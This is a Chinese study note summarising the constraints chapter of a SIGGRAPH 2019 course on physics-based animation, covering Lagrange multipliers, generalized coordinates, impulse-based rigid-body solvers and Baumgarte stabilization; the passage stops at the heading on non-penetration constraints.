论文笔记_SIGGRAPH2019会前课程:An Introduction to Physics-Based Animation_3

从零开始学习 Go 1.25 编程 今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀 阅读详情

VI. Constraints

discuss the use of constraints约束 in physics-based animation

  • the difference between bilateral 双边的(equality) and unilateral 单边的(inequality) constraints and
    the resulting implications由此产生的影响
  • discuss the difference between soft and hard constraints
  • penalty forces, Lagrange multipliers拉格朗日乘数, and generalized coordinates广义坐标
  • how constraints are enforced in practical constrained rigid body systems
  • non-penetration constraints非穿透性约束(result from collision碰撞 and contact接触)

除了牛顿第二定律描述的物体在力的作用下的运动,在更多的场景中定义物体的位置或速度需要满足的条件比定义作用在物体上的力更自然和方便,这些条件就是约束。
e.g.静置在桌子上的物体可能受重力或其他一些力,约束它不要穿透桌子,物理上桌子给一个支持力,与物体给桌子的力大小相等方向相反,最终对物体的作用效果保证了不穿透,与非穿透约束相关的这个力就正是维持这个约束必需的力。
在更多的情景中,约束力是系统中为了维持约束即时产生的对其他力的反应,定义约束和必须的力比定义约束力更自然和方便。
约束有很多种,约束动力学问题也有很多种解法。

5.1 Bilateral and Unilateral Constraints

自由度degrees of freedom (DOF),是系统中完全定义系统配置的独立参数的数量。e.g.三维空间,单个粒子有三个自由度,单个刚体有六个自由度。

双边约束/等式约束

一个完整的约束是系统中位置自由度的关系,形式为: g ( x 1 , x 2 , . . . , x n , t ) = 0 g(x_1,x_2,...,x_n,t)=0 g(x1​,x2​,...,xn​,t)=0
它可能取决于时间。由于这个关系必须被满足,它就会隐式地去掉了一些自由度。因此若n个中有n-1个已知,那另一个就可以由上边的等式定义。
上式定义了一个n维空间的manifold流形(流形是高维空间中曲线、曲面概念的拓广),这个约束是双边或等式约束,使得位置恰在流形上,而非任一边。
e.g.二维空间的两个刚体,两端相连,可关于接触点旋转,如图,刚体自由度为 x 1 , θ 1 , x 2 , θ 2 \mathbf x_1,\theta_1,\mathbf x_2,\theta_2 x1​,θ1​,x2​,θ2​,其约束:
g ( x 1 , θ 1 , x 2 , θ 2 ) = ( x 1 + r 1 ) − ( x 2 + r 2 ) = 0 g(\mathbf x_1,\theta_1,\mathbf x_2,\theta_2)=(\mathbf x_1+\mathbf r_1)-(\mathbf x_2+\mathbf r_2)=0 g(x1​,θ1​,x2​,θ2​)=(x1​+r1​)−(x2​+r2​)=0
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tEXJNctS-1616637060925)(5.%E7%BA%A6%E6%9D%9F_md_files/image_20200704010003.png?v=1&type=image&token=V1:kx0El9b2SZo3CWwnotbBRyiCjfs5TDHkp1VqmvGnY2E)]
𝐠 ∶ ℝ6 →ℝ2,隐式消除了两个自由度,故此约束有6-2=4个自由度。也可以认为是整个系统在二维空间的位置有两个自由度,加上两刚体各自的角度共四个自由度。

单边约束/不等式约束

形式: g ( x 1 , x 2 , . . . , x n , t ) ≥ 0 g(x_1,x_2,...,x_n,t)\geq 0 g(x1​,x2​,...,xn​,t)≥0
物体与另一物体相接触会产生这种形式的约束。这种情况下物体可以分开但不可以穿透。
如图,球与平面接触,可在平面上运动,可从平面上拿起,蓝色点为接触点, y 1 y_1 y1​是球心的高,约束为:
g ( x 1 , y 1 , θ 1 ) = y 1 − h ≥ 0 g(x_1,y_1,\theta_1)=y_1-h\geq 0 g(x1​,y1​,θ1​)=y1​−h≥0
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-whAKGRtM-1616637060926)(5.%E7%BA%A6%E6%9D%9F_md_files/image_20200704011525.png?v=1&type=image&token=V1:SMsF1Rpn8dLu-pCZGcsU0aoZh50Rz0eca77xuA3DXhs)]
球可以自由滚动,侧面位置 x 1 x_1 x1​和朝向 θ 1 \theta_1 θ1​是独立的,若进一步限制旋转,则在接触中这两个量不会再独立变化。
其他的单侧约束的情况,比如限定铰接的刚体连接角的法定范围。

5.2 Soft vs. Hard Constraints

hard constraint

必须恰好满足。维持它的力必须克服任何违反约束的抵抗的力。

soft constraint

不需要恰好满足。可以容忍一定的错误。维持它的力不像前者那么强横,约束的抵抗力可以使其被违反,直到这种力消退。

5.3 Solution Methods: Penalty Forces, Lagrange Multipliers,Generalized Coordinates

约束动力学问题的仿真的几种方式。被广泛地分为两类:使用maximal coordinates,最大的坐标(这种坐标无视约束,利用辅助条件定义约束);使用generalized coordinates广义坐标(有时指减少的的坐标,可能因为与最大坐标相比,它们的数量减少了),其参数代表计算约束后的自由度,由此可推出最大坐标。
Penalty methods罚函数法和拉格朗日乘数法是使用最大坐标的例子。

Penalty Methods

通过使用类似弹簧的恢复的力量来惩罚约束违反以维持约束。
e.g.考虑下图场景,用弹簧连接两刚体,弹簧静息长度为0,刚体1在接触点受到的力:
f 21 ( x 1 , θ 1 , x 2 , θ 2 ) = − k ( ( x 2 + r 2 ( θ 2 ) ) − ( x 1 + r 1 ( θ 1 ) ) ) f_{21}(\mathbf x_1,\theta_1,\mathbf x_2,\theta_2)=-k((\mathbf x_2+\mathbf r_2(\theta_2))-(\mathbf x_1+\mathbf r_1(\theta_1))) f21​(x1​,θ1​,x2​,θ2​)=−k((x2​+r2​(θ2​))−(x1​+r1​(θ1​)))
刚体2: f 12 ( x 1 , θ 1 , x 2 , θ 2 ) = − f 21 ( x 1 , θ 1 , x 2 , θ 2 ) f_{12}(\mathbf x_1,\theta_1,\mathbf x_2,\theta_2)=-f_{21}(\mathbf x_1,\theta_1,\mathbf x_2,\theta_2) f12​(x1​,θ1​,x2​,θ2​)=−f21​(x1​,θ1​,x2​,θ2​)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DrWXcUho-1616637060927)(5.%E7%BA%A6%E6%9D%9F_md_files/image_20200704014434.png?v=1&type=image&token=V1:gXEl57a8LLsunzXcsJNpuJDizCig7Dl9Kpvr-t1zufw)]
惩罚力可以根据与约束的违反相关的能量来表示,详见[Faure et al. 2008]
包含取决于约束的导数的阻尼项的惩罚力,详见[Bender et al. 2014]
约束违反的惩罚项实现相对简单,但存在一些缺陷,详见[Drumwright 2008; Bender et al. 2014].
和前面例子中的参数k相同,惩罚力项包含一个或更多强度参数,多个约束的竞争力的复杂系统中,Tuning stiffness parameters优化刚度参数可能是个挑战。
k较大,可以更好地维持约束。
但这样也向系统中引入了一个僵硬的力,可能会导致严格的时间步长限制或必需的隐式积分。也可能导致不期待的振动,使得静止接触的物体的场景难以实现,详见[Bender et al. 2014]。
尽管如此,罚函数法仍被广泛应用,一些致力于减轻其劣势的研究详见[Harmon et al. 2009; Tang et al. 2012;
Xu et al. 2014]

Lagrange multipliers

在运动方程中显式包含约束力的方式。与惩罚力不同,其约束力就是抵消任何其他破坏约束的竞争力的力。
从数学上讲,这足以维持一个最初满足的约束条件,在实际应用中,需要附加的稳定技术来抵消约束满足中的漂移。
考虑约束的等式: g ( x ) = 0 g(\mathbf x)=0 g(x)=0,其中 x = ( x 1 , x 2 , . . . , x n ) \mathbf x=(x_1,x_2,...,x_n) x=(x1​,x2​,...,xn​),这是一个定义了所有合法的位置为x的隐式曲面方程。约束的梯度为向量
▽ g ( x ) = [ ∂ g ∂ x 1 ( x ) ∂ g ∂ x 2 ( x ) . . . ∂ g ∂ x n ( x ) ] \bigtriangledown g(\mathbf x)=\begin{bmatrix} \frac{\partial g}{\partial x_1}(\mathbf x)\\ \frac{\partial g}{\partial x_2}(\mathbf x)\\ ...\\ \frac{\partial g}{\partial x_n}(\mathbf x)\\ \end{bmatrix} ▽g(x)=⎣⎢⎢⎢⎡​∂x1​∂g​(x)∂x2​∂g​(x)...∂xn​∂g​(x)​⎦⎥⎥⎥⎤​
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r7Dfdaka-1616637060928)(5.%E7%BA%A6%E6%9D%9F_md_files/image_20200704230508.png?v=1&type=image&token=V1:i2W8xtvHriAbA37EyIwd3nIqTypDLpK7FzuCTLlYWqA )]

如图,梯度向量垂直于面,向量z与约束曲面相切与点x,满足 z T ▽ g ( x ) = 0 \mathbf z^T\bigtriangledown g(\mathbf x)=0 zT▽g(x)=0
考虑任意力 F \mathbf F F作用于有约束的粒子上,当它欲使粒子离开约束曲面时会产生一个与之相抵消的约束力 F c \mathbf F_c Fc​,除了摩擦力,约束力仅作用在 ▽ g ( x ) \bigtriangledown g(\mathbf x) ▽g(x)方向,因此workless,详见[Lanczos 2012]。考虑一个虚拟位移 δ r \delta\mathbf r δr,与约束一致, F c T δ r = 0 \mathbf F_c^T\delta\mathbf r=0 FcT​δr=0,故 δ r = α z \delta\mathbf r=\alpha \mathbf z δr=αz,那么 δ r T ▽ g ( x ) = 0 \delta\mathbf r^T\bigtriangledown g(\mathbf x)=0 δrT▽g(x)=0,所以 F c = λ ▽ g \mathbf F_c=\lambda\bigtriangledown g Fc​=λ▽g, λ \lambda λ被称为约束的拉格朗日乘数,是标量,决定了约束力的强度。
更多的情况下,考虑m个约束,等式为:
g ( x ) = [ g 1 ( x ) g 2 ( x ) . . . g m ( x ) ] = [ 0 0 . . . 0 ] = 0 g(\mathbf x)= \begin{bmatrix} g_1(\mathbf x)\\ g_2(\mathbf x)\\ ...\\ g_m(\mathbf x)\\ \end{bmatrix}= \begin{bmatrix}0\\0\\...\\0\\\end{bmatrix}=\mathbf 0 g(x)=⎣⎢⎢⎡​g1​(x)g2​(x)...gm​(x)​⎦⎥⎥⎤​=⎣⎢⎢⎡​00...0​⎦⎥⎥⎤​=0
约束的雅可比矩阵:
J ( x ) = [ ∂ g 1 ∂ x 1 ( x ) ∂ g 1 ∂ x 2 ( x ) . . . ∂ g 1 ∂ x n ( x ) ∂ g 2 ∂ x 1 ( x ) ∂ g 2 ∂ x 2 ( x ) . . . ∂ g 2 ∂ x n ( x ) . . . ∂ g m ∂ x 1 ( x ) ∂ g m ∂ x 2 ( x ) . . . ∂ g m ∂ x n ( x ) ] = [ ▽ g 1 ( x ) T ▽ g 2 ( x ) T . . . ▽ g m ( x ) T ] J(\mathbf x)=\begin{bmatrix} \frac{\partial g_1}{\partial x_1}(\mathbf x)&\frac{\partial g_1}{\partial x_2}(\mathbf x)&...&\frac{\partial g_1}{\partial x_n}(\mathbf x)\\ \frac{\partial g_2}{\partial x_1}(\mathbf x)&\frac{\partial g_2}{\partial x_2}(\mathbf x)&...&\frac{\partial g_2}{\partial x_n}(\mathbf x)\\ ...\\ \frac{\partial g_m}{\partial x_1}(\mathbf x)&\frac{\partial g_m}{\partial x_2}(\mathbf x)&...&\frac{\partial g_m}{\partial x_n}(\mathbf x)\\ \end{bmatrix}=\begin{bmatrix} \bigtriangledown g_1(\mathbf x)^T\\ \bigtriangledown g_2(\mathbf x)^T\\ ...\\ \bigtriangledown g_m(\mathbf x)^T\\ \end{bmatrix} J(x)=⎣⎢⎢⎢⎡​∂x1​∂g1​​(x)∂x1​∂g2​​(x)...∂x1​∂gm​​(x)​∂x2​∂g1​​(x)∂x2​∂g2​​(x)∂x2​∂gm​​(x)​.........​∂xn​∂g1​​(x)∂xn​∂g2​​(x)∂xn​∂gm​​(x)​⎦⎥⎥⎥⎤​=⎣⎢⎢⎡​▽g1​(x)T▽g2​(x)T...▽gm​(x)T​⎦⎥⎥⎤​
那么总的约束力由m项组成,
F c = λ 1 ▽ g 1 + λ 2 ▽ g 2 + . . . + λ m ▽ g m = J T λ \mathbf F_c=\lambda_1\bigtriangledown g_1+\lambda_2\bigtriangledown g_2+...+\lambda_m\bigtriangledown g_m=J^T\mathbf \lambda Fc​=λ1​▽g1​+λ2​▽g2​+...+λm​▽gm​=JTλ
这里, λ = ( λ 1 , . . . λ m ) \lambda=(\lambda_1,...\lambda_m) λ=(λ1​,...λm​)
包含作用力和约束力的运动公式写为:
M a = F + F c = F + J T λ M\mathbf a=\mathbf F+\mathbf F_c=\mathbf F+J^T\mathbf \lambda Ma=F+Fc​=F+JTλ
进行类似[Baraff 1996; Witkin 2001]的推导,未知数 λ \lambda λ可以通过要求系统加速度与约束兼容来定义。约束等式两边关于时间t作微分; 0 = g ˙ ( x ) = ∂ g T ∂ x x ˙ ( t ) = J ( t ) v ( t ) \mathbf 0=\dot g(\mathbf x)=\frac{\partial g^T}{\partial \mathbf x}\dot{\mathbf x}(t) =J(t)\mathbf v(t) 0=g˙​(x)=∂x∂gT​x˙(t)=J(t)v(t)
这表明。合法的速度正交于约束的梯度,平行于上图中的向量z。
再关于t进行一次微分: 0 = g ¨ ( x ) = J ˙ v ( t ) + J v ˙ ( t ) = J ˙ v ( t ) + J a ( t ) \mathbf 0=\ddot g(\mathbf x)=\dot J\mathbf v(t)+J\dot{\mathbf v}(t)=\dot J{\mathbf v}(t)+J\mathbf a(t) 0=g¨​(x)=J˙v(t)+Jv˙(t)=J˙v(t)+Ja(t)
这是加速度必须满足的条件,以保持位置和速度水平约束。
从运动公式得出加速度并代入:
J M − 1 ( F + J T λ ) = − J ˙ v ( t ) JM^{-1}(\mathbf F+J^T\lambda)=-\dot J\mathbf v(t) JM−1(F+JTλ)=−J˙v(t),
把带 λ \lambda λ的项单独放左边: ( J M − 1 J T ) λ = − J M − 1 F − J ˙ v ( t ) (JM^{-1}J^T)\lambda=-JM^{-1}\mathbf F-\dot J\mathbf v(t) (JM−1JT)λ=−JM−1F−J˙v(t)
实际应用中,约束往往只耦合系统中的几个自由度,因此J和M一般是稀疏矩阵,但 ( J M − 1 J T ) (JM^{-1}J^T) (JM−1JT)一般不稀疏。
重写上式应用于稀疏KKT系统:
[ M − J T − J 0 ] [ y λ ] = [ 0 − b ] \begin{bmatrix} M&-J^T\\ -J&0\\ \end{bmatrix} \begin{bmatrix}\mathbf y\\\lambda\\\end{bmatrix} =\begin{bmatrix}\mathbf 0\\-\mathbf b\\\end{bmatrix} [M−J​−JT0​][yλ​]=[0−b​]
此处, y = a − M − 1 F \mathbf y=\mathbf a-M^{-1}\mathbf F y=a−M−1F, b = − J M − 1 F − J ˙ v ( t ) \mathbf b=-JM^{-1}\mathbf F-\dot J\mathbf v(t) b=−JM−1F−J˙v(t)
为为它的解决方案描述了一个线性时间算法。应用于许多实际情景。
KKT系统常出现于各种约束动力学问题的解决方法中。

Generalized coordinates

约束动力学的另一种方法是基于寻找独立坐标的最小集——广义坐标 q 1 , . . . , q N q_1,...,q_N q1​,...,qN​,用这些坐标和它们的导数来表示运动方程。用广义坐标表示的运动方程是变分力学的一部分,变分力学由欧拉、拉格朗日、汉密尔顿等人在牛顿之后发展而来,详见[Lanczos 2012]。 q i q_i qi​的选择不唯一,但有的情况可能有自然而方便的某个选择。
广义坐标的一个最出名的例子是:一个刚体可以看作是粒子的集合,每一对粒子被约束保持固定的距离。三维空间中6个自由度(3个位置和3个朝向)的最小集用以表示一个刚体,物体上任意点的最大坐标可以用2.2.1节中已知的公式由广义坐标计算出来。
n(n>N)个最大坐标作为广义坐标的函数被给出:
x 1 = x 1 ( q 1 , q 2 , . . . , q N ) x_1=x_1(q_1,q_2,...,q_N) x1​=x1​(q1​,q2​,...,qN​)
x 2 = x 2 ( q 1 , q 2 , . . . , q N ) x_2=x_2(q_1,q_2,...,q_N) x2​=x2​(q1​,q2​,...,qN​)
…
x n = x n ( q 1 , q 2 , . . . , q N ) x_n=x_n(q_1,q_2,...,q_N) xn​=xn​(q1​,q2​,...,qN​)
结合所有的极大坐标和广义坐标,定义这个 x = x ( q ) \mathbf x=\mathbf x(\mathbf q) x=x(q),这个方程组也可能取决于时间,详见[Murray et al. 1986; Lanczos 2012],此处不做讨论。
使用 q \mathbf q q或者 q ˙ \dot {\mathbf q} q˙​,这些表达式可用于定义系统的动能和势能、广义的速度。
系统的速度为 x ˙ ( t ) = ∂ x ∂ q q ˙ \dot {\mathbf x}(t)=\frac{\partial \mathbf x}{\partial \mathbf q}\dot {\mathbf q} x˙(t)=∂q∂x​q˙​
令 J ( q ) = ∂ x ∂ q J(\mathbf q)=\frac{\partial \mathbf x}{\partial \mathbf q} J(q)=∂q∂x​为坐标函数的雅可比矩阵,
动能为: T = 1 2 x ˙ T M x ˙ = 1 2 ( J q ˙ ) T M J q ˙ = 1 2 q ˙ T J T M J q ˙ T=\frac{1}{2}\dot {\mathbf x}^TM\dot {\mathbf x}=\frac{1}{2}(J\dot {\mathbf q})^T MJ\dot{\mathbf q}=\frac{1}{2}\dot{\mathbf q}^TJ^TMJ\dot{\mathbf q} T=21​x˙TMx˙=21​(Jq˙​)TMJq˙​=21​q˙​TJTMJq˙​
类似于极大坐标系中的力,可以定义广义坐标系中的广义力,例如刚体中的广义力是力的六个组成部分和作用在物体上的力矩,如果两组坐标下的两组力在符合约束条件的虚位移上做相同的虚功,那么将产生等效的动力学,详见[Lanczos 2012]。故任何系统中的广义力可通过使两种力在与约束条件一致的虚位移(virtual displacements)上所作的虚功(virtual work)相等得出,即: F ⋅ δ x = G ⋅ δ q \mathbf F·\delta\mathbf x=\mathbf G·\delta\mathbf q F⋅δx=G⋅δq.
这里 G ∈ \mathbf G \in G∈ℝ N ^N N,表示广义力,位移 δ x \delta\mathbf x δx服从约束, δ x = J δ q \delta\mathbf x=J\delta\mathbf q δx=Jδq。由此可得:
F T δ x = G T δ q \mathbf F^T\delta\mathbf x=\mathbf G^T\delta\mathbf q FTδx=GTδq;
F T J δ x = G T δ q \mathbf F^TJ\delta\mathbf x=\mathbf G^T\delta\mathbf q FTJδx=GTδq
由于坐标 δ q \delta\mathbf q δq不受约束,是任意的,那就必然有:
F T J = G T \mathbf F^TJ=\mathbf G^T FTJ=GT或 G = J T F \mathbf G=J^T\mathbf F G=JTF

验证这个结果——
对于刚体,粒子速度: x ˙ = [ I r ∗ T ] [ v ω ] \dot {\mathbf x}=\begin{bmatrix}I&\mathbf r^{*T}\end{bmatrix}\begin{bmatrix} \mathbf v \\ \mathbf{\omega} \end{bmatrix} x˙=[I​r∗T​][vω​].
所以 J = [ I r ∗ T ] J=\begin{bmatrix}I&\mathbf r^{*T}\end{bmatrix} J=[I​r∗T​].
力F作用于粒子上,得到广义力 G = J T F = [ I r ∗ ] F = [ F r × F ] \mathbf G=J^T\mathbf F=\begin{bmatrix}I\\ \mathbf r^*\end{bmatrix}\mathbf F=\begin{bmatrix}\mathbf F\\ \mathbf r\times \mathbf F\end{bmatrix} G=JTF=[Ir∗​]F=[Fr×F​]。(类似于力和力矩的表达式)

拉格朗日运动方程,类似于牛顿第二定律,可写为: d d t ( ∂ T ∂ q ˙ ) = G \frac{d}{dt}(\frac{\partial T}{\partial\mathbf{\dot q}})=\mathbf G dtd​(∂q˙​∂T​)=G;
G \mathbf G G是广义力。定义拉格朗日算符 L = T − V L=T-V L=T−V,V是和力有关的势能,将上式表示为欧拉-拉格朗日方程
d d t ( ∂ L ∂ q ˙ ) − ∂ L ∂ q = 0 \frac{d}{dt}(\frac{\partial L}{\partial\mathbf{\dot q}})-\frac{\partial L}{\partial\mathbf q}=\mathbf 0 dtd​(∂q˙​∂L​)−∂q∂L​=0。
附加的力,考虑与广义坐标无关的非保守力或约束力可以被包括在方程的右侧。
e.g.考虑如下图所示的一个二维的摆。单个粒子质量m,最大坐标系下坐标 x = ( x , y ) \mathbf x=(x,y) x=(x,y),位置的坐标有两个,但由于摆的约束,系统自由度为1,使用摆和垂直方向的角度 θ \theta θ作为广义坐标,将连接点作为原点,最大坐标为:
x ( θ ) = l s i n θ x(\theta)=lsin\theta x(θ)=lsinθ;
y ( θ ) = − l c o s θ y(\theta)=-lcos\theta y(θ)=−lcosθ。
速度为: [ x ˙ ( θ ) y ˙ ( θ ) ] = [ l c o s θ θ ˙ l s i n θ θ ˙ ] = J θ ˙ \begin{bmatrix}\dot x(\theta)\\ \dot y(\theta)\end{bmatrix}=\begin{bmatrix}lcos\theta\dot \theta\\lsin\theta\dot \theta \end{bmatrix}=J\dot\theta [x˙(θ)y˙​(θ)​]=[lcosθθ˙lsinθθ˙​]=Jθ˙;
动能: T = 1 2 m ( x ˙ 2 + y ˙ 2 ) = 1 2 m l 2 θ ˙ 2 T=\frac{1}{2}m(\dot x^2+\dot y^2)=\frac{1}{2}ml^2\dot \theta^2 T=21​m(x˙2+y˙​2)=21​ml2θ˙2.
那么 ∂ T ∂ θ ˙ = m l 2 θ ˙ \frac{\partial T}{\partial \dot\theta}=ml^2\dot \theta ∂θ˙∂T​=ml2θ˙,则 d d t ∂ T ∂ θ ˙ = m l 2 θ ¨ \frac{d}{dt}\frac{\partial T}{\partial \dot\theta}=ml^2\ddot \theta dtd​∂θ˙∂T​=ml2θ¨。
唯一需要明确解释的力是重力,在极大坐标系下表示为 ( 0 , − m g ) T (0,-mg)^T (0,−mg)T,由此,广义力为: J T [ 0 − m g ] = [ l c o s θ l s i n θ ] [ 0 − m g ] = − l m g s i n θ J^T\begin{bmatrix} 0\\-mg\end{bmatrix}=\begin{bmatrix}lcos\theta&lsin\theta\end{bmatrix}\begin{bmatrix} 0\\-mg\end{bmatrix}=-lmgsin\theta JT[0−mg​]=[lcosθ​lsinθ​][0−mg​]=−lmgsinθ
将此式上一个等式合并,得到 m l 2 θ ¨ = − l m g s i n θ ml^2\ddot \theta=-lmgsin\theta ml2θ¨=−lmgsinθ或者著名的钟摆运动方程 θ ¨ + g l s i n θ = 0 \ddot \theta+\frac{g}{l}sin\theta=0 θ¨+lg​sinθ=0

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oWBmd58H-1616637060929)(5.%E7%BA%A6%E6%9D%9F_md_files/image_20200705183325.png?v=1&type=image&token=V1:JCbdKCRa8Jy5Nlw6ULk4yfbErNifXRW5NNXxlG_lOqE)]

5.4 Practical Constrained Rigid Body Systems 实用的约束刚体系统

实际的刚体仿真系统必须处理各种约束条件,包括关节约束,或连接(如球和球座、转动关节、棱柱),碰撞,静止和滑动接触。布娃娃物理系统(ragdoll physics),对于关节/衔接约束规定的连通性是树的连通性(没有闭环),广义坐标通常被有效使用,详见[Bender et al. 2014],比如Featherstone’s algorithm,详见[Featherstone 1983]。对于其他的约束,约束力被广泛应用,对拉格朗日乘数的公式进行了一些修正,在5.3节阐述。

5.3节中使用约束方程的二阶导,给出了约束满足的加速级条件。然后通过将由牛顿第二定律得出的加速度带代入到这个条件,对拉格朗日乘数的线性系统求导,并且解出 λ \lambda λ.有效决定了维持合法加速所需的力.假设位置和速度都已合法,合法的加速度会随时间保持位置和速度水平的约束。在实践中,加速水平约束有一些话题,使其不适合作为刚体系统的通用方法。牛顿第二定律描述了速度的连续变化,然而刚体的碰撞会导致速度的不连续变化,比如一个坚硬的石块撞击地面,然后立即弹起。在模拟摩擦接触场景时,约束条件的加速水平解法也存在问题,比如把一个物体推过一个粗糙的表面(就像Painleve悖论一样)。

基于这些原因,很多系统在速度水平模拟刚体约束,使用描述有限速度变化的牛顿方程积分,详见[Mirtich 1996; Guendelman et al. 2003; Weinstein et al. 2006]。速度水平的公式中,冲量不连续地改变物体的速度。冲量定义为力对时间的积分:
j = ∫ t 1 t 2 f d t \mathbf j=\int_{t_1}^{t_2}\mathbf fdt j=∫t1​t2​​fdt.

因此它有动量的单位, N ⋅ s = k g m / s N·s=kg m/s N⋅s=kgm/s,一个脉冲作用于质量m的粒子会导致粒子动量的变化。质量为m的粒子关于时间对牛顿第二定律积分,得到动量-脉冲方程:
∫ t 1 t 2 m a d t = ∫ t 1 t 2 f d t \int_{t_1}^{t_2}m\mathbf adt=\int_{t_1}^{t_2}\mathbf fdt ∫t1​t2​​madt=∫t1​t2​​fdt
= > m ( v ( t 2 ) − v ( t 1 ) ) = j =>m(\mathbf v(t_2)-v(t_1))=\mathbf j =>m(v(t2​)−v(t1​))=j

为了在速度水平重写应用于稀疏KKT系统的:
[ M − J T − J 0 ] [ y λ ] = [ 0 − b ] \begin{bmatrix} M&-J^T\\ -J&0\\ \end{bmatrix} \begin{bmatrix}\mathbf y\\\lambda\\\end{bmatrix} =\begin{bmatrix}\mathbf 0\\-\mathbf b\\\end{bmatrix} [M−J​−JT0​][yλ​]=[0−b​]。( y = a − M − 1 F \mathbf y=\mathbf a-M^{-1}\mathbf F y=a−M−1F, b = − J M − 1 F − J ˙ v ( t ) \mathbf b=-JM^{-1}\mathbf F-\dot J\mathbf v(t) b=−JM−1F−J˙v(t))
考虑离散化牛顿定律: M V n + 1 = M V n + Δ t F + Δ t J T λ n + 1 M\mathbf V^{n+1}=M\mathbf V^{n}+\Delta t\mathbf F+\Delta tJ^T\mathbf{\lambda}^{n+1} MVn+1=MVn+ΔtF+ΔtJTλn+1。
速度的约束为: J V n + 1 = 0 J\mathbf V^{n+1}=\mathbf 0 JVn+1=0,定义 μ n + 1 = Δ t λ n + 1 \mathbf{\mu}^{n+1}=\Delta t\mathbf{\lambda}^{n+1} μn+1=Δtλn+1,将未知项 V n + 1 \mathbf V^{n+1} Vn+1和 μ n + 1 \mathbf{\mu}^{n+1} μn+1挪到等式左边,结合两个等式得到线性系统,详见[Tournier et al. 2015]:
[ M − J T − J 0 ] [ V n + 1 μ n + 1 ] = [ M V n + Δ t F 0 ] \begin{bmatrix} M&-J^T\\-J&0 \end{bmatrix}\begin{bmatrix}\mathbf V^{n+1} \\ \mathbf{\mu^{n+1}}\end{bmatrix}=\begin{bmatrix} M\mathbf V^n+\Delta t\mathbf F\\\mathbf 0 \end{bmatrix} [M−J​−JT0​][Vn+1μn+1​]=[MVn+ΔtF0​].
这个线性系统类似于前边的,但是用单位动量代替了力,用冲量形式的 μ = Δ t λ \mathbf\mu=\Delta t\mathbf{\lambda} μ=Δtλ代替 λ \lambda λ作为未知量。从等式中消掉 V n + 1 \mathbf V^{n+1} Vn+1,得到: J M − 1 J T μ n + 1 = − J V n − Δ t J M − 1 F JM^{-1}J^T\mathbf{\mu}^{n+1}=-J\mathbf V^n-\Delta tJM^{-1}\mathbf F JM−1JTμn+1=−JVn−ΔtJM−1F。这是耦合了约束冲量的解的方程,发生在物体速度被调整到适应约束的情况下,可能会导致不同约束间的冲突。必须同时考虑系统中的所有约束以得到全部都满足的解决方案。

实践中很多系统用基于冲量的方法(impulse-based approach,比如[Mirtich 1996; Guendelman et al. 2003; Weinstein et al. 2006]),使用有限次高斯-赛德尔迭代(Gauss-Seidel iterations)计算方程的近似解,在迭代中每个约束使用其他约束的最新计算状态独立地更新。相互作用的应用可能会严格地限制允许迭代的次数,并且需要类似warmstarting the solution暖化解决方案(使用前一个时间步中的解)的一些技术来获得可接受的结果,见[Catto 2014].当一个轻物体与两个重物体相互作用时,高斯-塞德尔方法的收敛速度会非常慢,因为在一次成对迭代中,轻物不会成功地移动重物很多。这种messenger problem可通过同时解一些约束部分缓解,是一种解全局系统和本地成对约束的折中,见[Shinar et al. 2008; Catto 2014].

另一个在实践中产生的问题是由于离散化和数值误差产生的漂移。在5.3节中加速度水平的方程式中,初始假设位置和速度满足约束,之后仅要求加速度合法,经过一段时间会造成速度和位置从合法状态漂移,产生显著的不自然现象,比如错误的交叠或裂缝。本节目前为止介绍的速度水平的方程式有类似的问题,原因是没有明确地纠正约束中的任何位置误差。稳定化技术被用于抑制漂移,见[Bender et al. 2014].一个广泛应用的方法是Baumgarte stabilization,见[Baumgarte 1972],

其加速度约束方程 g ¨ ( x ) = 0 \ddot{\mathbf g}(\mathbf x)=0 g¨​(x)=0,被换为[Bender et al. 2014]中的:
g ¨ ( x ) + 2 α g ˙ ( x ) + β 2 g ( x ) = 0 \ddot{\mathbf g}(\mathbf x)+2\alpha\dot {\mathbf g}(\mathbf x)+\beta^2\mathbf g(\mathbf x)=0 g¨​(x)+2αg˙​(x)+β2g(x)=0;
参数 α 和 β \alpha和\beta α和β可调整。

对速度水平的方程,其速度约束方程 g ˙ ( x ) = 0 \dot{\mathbf g}(\mathbf x)=0 g˙​(x)=0被换为:
g ˙ ( x ) + γ g ( x ) = 0 \dot {\mathbf g}(\mathbf x)+\gamma\mathbf g(\mathbf x)=0 g˙​(x)+γg(x)=0;
参数 γ \gamma γ可调整。

当位置水平的约束 g ( x ) = 0 \mathbf g(\mathbf x)=0 g(x)=0已经满足,会得到和之前相同的方程,如果位置约束存在误差,计算的速度将使误差为零。

许多实际的刚体系统向硬约束添加了依从性,通过将 J v = 0 J\mathbf v=0 Jv=0换为
J v + β Δ t g ( x ) + γ λ = 0 J\mathbf v+\frac{\beta}{\Delta t}\mathbf g(\mathbf x)+\gamma\lambda=0 Jv+Δtβ​g(x)+γλ=0.
(e.g., Bullet [Coumans 2010], ODE [Smith et al. 2005], and Box2D [Catto 2011a]);
β 和 γ \beta和\gamma β和γ为常量,见[Catto 2011b].线性方程组变为:
[ M − J T − J γ I ] [ V n + 1 μ n + 1 ] = [ M V n + Δ t F − β Δ t g ( X n ) ] \begin{bmatrix}M&-J^T\\-J &\gamma^I\end{bmatrix}\begin{bmatrix}\mathbf V^{n+1}\\\mu^{n+1}\end{bmatrix}=\begin{bmatrix}M\mathbf V^n+\Delta t\mathbf F\\-\frac{\beta}{\Delta t}\mathbf g(\mathbf X^n)\end{bmatrix} [M−J​−JTγI​][Vn+1μn+1​]=[MVn+ΔtF−Δtβ​g(Xn)​]

这样使得约束稍缓和,同时抵制漂移。另外,新的对角块正则化了方程使其更易使用数值方法求解,在冗余或接近冗余约束的情况下,可能制约能力变差,详见[Catto 2011b;Tournier et al. 2015; Lacoursiere 2007]。

5.5 Non-penetration Constraints, Collisions,and Contact

